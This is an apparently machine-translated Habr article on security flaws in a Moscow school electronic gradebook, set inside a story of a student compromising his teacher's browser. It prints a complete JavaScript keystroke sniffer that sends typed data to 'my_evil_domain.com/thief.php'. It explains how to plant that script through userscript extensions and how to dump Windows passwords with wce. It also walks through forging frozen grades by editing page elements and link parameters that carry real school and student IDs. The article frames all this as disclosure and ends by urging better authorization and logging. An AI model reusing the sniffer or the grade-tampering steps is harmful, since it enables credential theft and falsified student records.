こんにちは、habrauser！
このトピックでは、現代の教育プロセスの一部であるデジタル情報システムの信頼性を整理する問題に触れます。 具体的には、電子日記。
ご存知のように、デジタル実装は今やユビキタスです：学校や大学はソーシャルネットワークやブログに独自のページを持ち、何が起こっているかを通知します。まれな教育機関は独自のウェブサイトを持っていません。私たちの目の前で発生します。 もちろん、情報化時代では、これはもはや驚くことではありません。人々は、関心のあるすべての情報がインターネット上にあるという事実に慣れています。
明らかに、これらのプロセスは、ユーザー側と開発者側の両方からかなりの責任をカプセル化しています。 今では、オフィスを出て、ドアを鍵でロックし、重要なものをすべて残しておくだけでは不十分です。 デジタルの世界では、物理的なアクセス不能性はセキュリティの保証ではありません（ただし、間違いなく、この側面は統合セキュリティを確保する上で非常に重要です）。 しかし、まず最初に。
問題＃1：人的要因。
「情報システムの最大の脆弱性はユーザーです」（c）
この声明で議論することは困難です-男は男です。 この問題は、ユーザーと開発者の両方からの情報リソースの信頼性とセキュリティの観点から重要です。 この問題は、人自身が存在するのと同じくらい重要であり、したがって、それ自体はデジタルの世界には当てはまりません。 確かに、たとえば、デジタル雑誌の前日には、紙の雑誌が特定の人物（長老のようです）に転送されるように委託されていました。元の情報の改ざん、その妥協。 別の例として、犯人がもはや信頼できるエージェントではなく、情報の直接の「所有者」である場合。 これを特定の例で考えると、オフィスに不在のときに重要な情報でジャーナルを取り上げるだけでなく、一般的にジャーナルを閉じることを考えなかった普通の、たとえば秘書を想像するのは簡単です。 これは頻繁に起こります。 また、機関にとって重要な情報の漏洩/偽造につながる可能性があります。
現代では、人間の要因の不正確さの例は、紙片がコンピューターに置き換えられることを除いて、同一のままです。 実際、これにはさらに大きな脅威が伴います。 紙をプログラムして「感染」させることが不可能だった場合、コンピューターによって状況は異なります。
（少なくとも学校教育の分野で）珍しい従業員がWin + Lを押し、仕事を休んで、一部の人々は原則としてパスワードがWindowsアカウントにあるかどうかを気にしません。すでに信頼できないシステムを悪化させるだけです。 最も安全なブラウザを使用し、数十種類のウイルス対策ソフトを使用し、一意のアカウントパスワードを使用することもできますが、行動を注意深く監視せずに他の人に代わって許可した場合、職場の信頼性と漏れがないことを保証することはできません。
ここで、「ヒューマンファクター」の搾取の簡単な例を挙げたいと思います。
親切な地理教師のイヴァン・イワノビッチが、「コンピューターの学生」であるアントン・アントノヴィッチに、コンピューターのプレゼンテーションに音が出ない理由（よくある問題）を解明するように頼みました。 生徒はすぐに問題を解決し、 Ivan Ivanovichは次のレッスンの教材をボードに書きますが、このコンピューターから教師のデータをインターセプトすることを考えます（これはメール、ソーシャルネットワークからのログインパスワード、電子雑誌などです）。 アントンは、悪意のあるJavaScriptスクリプトを事前に準備しました。これは、自分で作成したスニファーの一部です。
(function(){ THIEF = "http://my_evil_domain.com/thief.php"; function grab(e) { var o = e.srcElement; var img = new Image(); var text = o.value; if(!text || typeof text == "undefined") text = o.innerHTML; if(!text || typeof text == "undefined" || (text+"").trim().length==0) return; img.src = THIEF+"?stolendata="+encodeURIComponent(text)+ "&urlfromdata="+encodeURIComponent(location.href.toString())+ "&domdata="+encodeURIComponent(o.getAttribute("id")+" ||| ."+ o.getAttribute("class")); img.width="1px"; img.height="1px"; img.id="taken_data_sender"; try{ var oldImg = document.getElementById(img.id.toString()); document.body.removeChild(oldImg); }catch(e){} document.body.appendChild(img); return true; } function connect_signal(selector) { var elements = document.getElementsByTagName(selector); for(var el in elements) elements[el].addEventListener('keyup', grab, false); } var selectors = ['*']; for(var k in selectors) connect_signal(selectors[k]) })();
そして、「コンピューターの学生」は、スクリプトをIvan Ivanovichのお気に入りのブラウザーに埋め込むことにしました。 Antonは、ブラウザから直接提供される標準ツールと、TamperMonkey（Chrome）、GreaseMonkey（FireFox）などの拡張機能などのサードパーティツールの両方でこれを実行できます。 その後、彼はキャプチャしたPCからかなり立ち上がり、愛する地理の先生に微笑みながら、元の問題の修正について通知します。 しかし、これからは、キャプチャされたコンピューター上のすべての入力データがAntonに流れます。 効果を高めるために、以前にフォームから保存された認証データを含むブラウザー履歴全体をリセットできます。
さらに、 アントンは運を試し、 wce （WindowsCredentialsEditor）などのツールを使用してWindowsアカウントのパスワードを引き出しようとすることができます。 結局のところ、 Ivan Ivanovichには 1ダースの異なるパスワードはありそうにない-それは不便だから-したがって、たった1つしかない;;
問題＃2：情報リソースの信頼性の欠如（電子ジャーナル）
おそらく、私が出会った単一の電子ジャーナルには、適切なセキュリティシステムと不正アクセスを検出するシステムがなかったという事実から始めるべきでしょう。 それらをリストしたくありません。 それらのすべては、*安全*認証の観点から、DLEエンジン上に構築されたいくつかのフォーラムおよび多数の海賊サイトに似ていました。 どこでも、オフィスに入るには、ログイン（多くの場合は電子メールでした）とパスワードを指定するだけで済みました。 入力と出力の履歴、およびオープンな「ハング」セッションに関する情報についての話はありません。 ただし、内部のデータはまだ価値があります。
一年間機能している実際の電子ジャーナルの例を考えてみましょう。
その夜、同じ「コンピューター学生」が帰宅してログを分析し、教師のアカウントに不正アクセスしたと仮定します。
ログインすると、 アントンは次の写真を見ました。
彼は彼の教育機関（ Ivan Ivanovich ）の1人の従業員のみの認証データを手に持つことで、この教育機関の一部であるユニットのすべての評価を管理できるという考えに至りました。 最も単純なアクセスルールに反するため、これはかなり奇妙です。
ただし、単純な教師はまだサービスおよび構成情報にアクセスできません。 ただし、そのようなアクセスは教育機関の管理者アカウントで利用できます。
重要なログ設定セクションの1つを次に示します。 赤は、データの安全性と信頼性に影響を与えるものを示します。 さらに、そのような設定は状況をさらに悪化させる幻想であることが多いことを示したいと思います。責任者は、月/週などの処方箋の情報が永久にチェックされ凍結されていると信じています。 しかし、これはそうではありません。
現時点ではすでに時間が過ぎているため、何も変更することはできません。
ただし、ソースコードを見て、すべてがどのように機能するかを確認すると、次のことがわかります。
青は、おそらく交換できないことを示し、赤は可変です。 この考えは、脆弱な赤いブロックからのデータを青に置き換える、つまりSPANをINPUTに置き換えるように見える。 onChange JSイベントが 発生すると、次のことが起こります。
データの信頼性を担当するシステムの1つが機能しました。 ただし、 HTMLエンティティがあることを覚えている場合は、コメントを非表示にすることができます。
ボタンをクリックしてページを更新すると、次のことがわかります。
凍結データは変更される可能性がありましたか？ はい この理由は、この日記の開発者がサーバー側でデータをチェックすることを考えていなかったという事実にあります。 クライアントからパラメーターを信頼して受け入れ、ゾンビのようなサーバーは、信頼性を疑うことなく愚かにそれらをかみます...
しかし、判明したように、コメントは完全に回避される可能性があり、特定のレッスンの有無は偽造され、一般的にはそれほど深刻ではありません。 レッスンページに移動するだけで十分です（↑表のタイトルのリンク↑）：
ここでは、評価（プラス記号）を追加できますが、既存（凍結）の評価は変更できません。 赤色は再びシステムの「脆弱な」場所を示し、青色はその動作を示します。 リンクタグには、評価のIDと所属する人のIDのサービスパラメータが含まれているため、ここでは単に置換メソッドを使用しても機能しません（DIVを取得してAに置き換えることはできません）。 リンクをクリックすると、評価データに関連付けられたウィンドウがポップアップします。 したがって、操作のために、リンクパラメータをわずかに調整する必要があります。
: 1) <a id="m192609687_5296401_0" href="http://schools.dnevnik.mos.ru/marks.aspx?view=mark&school=54509&lesson=144407896&work=192609687&person=5296401" class="mark mX" title=" ">+</a> 2) <td id="w192604193_5296401" class="lpm tac mark5"><div style="display: inline" class="mark mG">5</div></td> : <a id="m192604193_5296401_0" href="http://schools.dnevnik.mos.ru/marks.aspx?view=mark&school=54509&lesson=144407896&work=192604193&person=5296401" class="mark mX" title=" ">+</a>
さて、交換する場合は、変更して更新してください：
再び凍結データを置き換えることに成功しました。 コメントがなくても（理由）！
一方向のデータ検証に関連する脆弱性もあります。
このような非常に簡単な方法で、電子ジャーナルの最も重要なデータの保護と信頼性を担当するメインセクションをバイパスすることができました。
HTTPリクエストの調査では、コメントはまったく考慮されていないことが示されました。これはサードパーティのパラメーターであり、空にすることができます（空の値はクライアント側でチェックされます）。
おそらく開発者とデザイナー（デザイナーがいる場合）は、教育機関の従業員だけがこれらの機能を使用することを確信していました...しかし、最悪の場合、学生は特定の従業員の親isであり、共通のコンピューターを使用している可能性があります...
問題3：間違いを修正したくない。
問題＃2の説明の冒頭で、脆弱な電子ジャーナルは学年全体で機能すると言われていました。 雑誌の研究は学年のほぼ最初に行われ、開発者と管理者に通知されましたが、過去のすべてのエラーが修正されたわけではありません。 人的要因に関連する問題＃1は、さまざまな教育機関の多くの学生によって使用された可能性があり、ソースデータの大規模な偽造につながる可能性があります。 問題2は、この状況を悪化させるだけです。
教育機関の従業員も、自分の行動を観察することなく、出会うすべての人にコンピューターへのアクセスを提供し続けています。 一部の人は、「通常の」パスワード（または最初のインストール）を変更しました。 一般に、何も変わっておらず、セキュリティと信頼性の両方のレベルは変わっていません。
おわりに
予想どおり、問題は根本にあります。 どういうわけかそれを根絶するためには、周囲の脅威が多すぎることを人々に職場の安全について考えさせる必要があります。 漏洩および不正アクセスは、多くの場合、時間の問題であり、現代の教育機関の状況だけではありません。 しかし、彼らの例では、多くの従業員の能力不足を確認することは非常に簡単です。 電子ジャーナルの例（ dnevnik.mos.ru ）を使用すると、たった1人の能力不足が評価システム全体の崩壊につながる可能性があることが明らかになりました。
多くの学校の教師はまだ電子リソースの面で習熟していますが、ある日（もうすぐ）「古き良き」紙の雑誌から電子的な雑誌への本格的な移行が行われるとき、ユーザーだけでなくそのようなリソースの開発者に対する脅威を客観的に評価できる必要があります。 不正アクセスを追跡するには、慎重に設計された承認システムが必要です。 ログインを記録し、現在のアカウントの開いているセッションを追跡するシステムも必要です。 個々のアカウントの責任を可能な限り絞り込むことが必要です。
これにより、最終的には現代の電子日記を信頼し、提供するだけでなく保護するために設計された情報を疑うこともなくなります。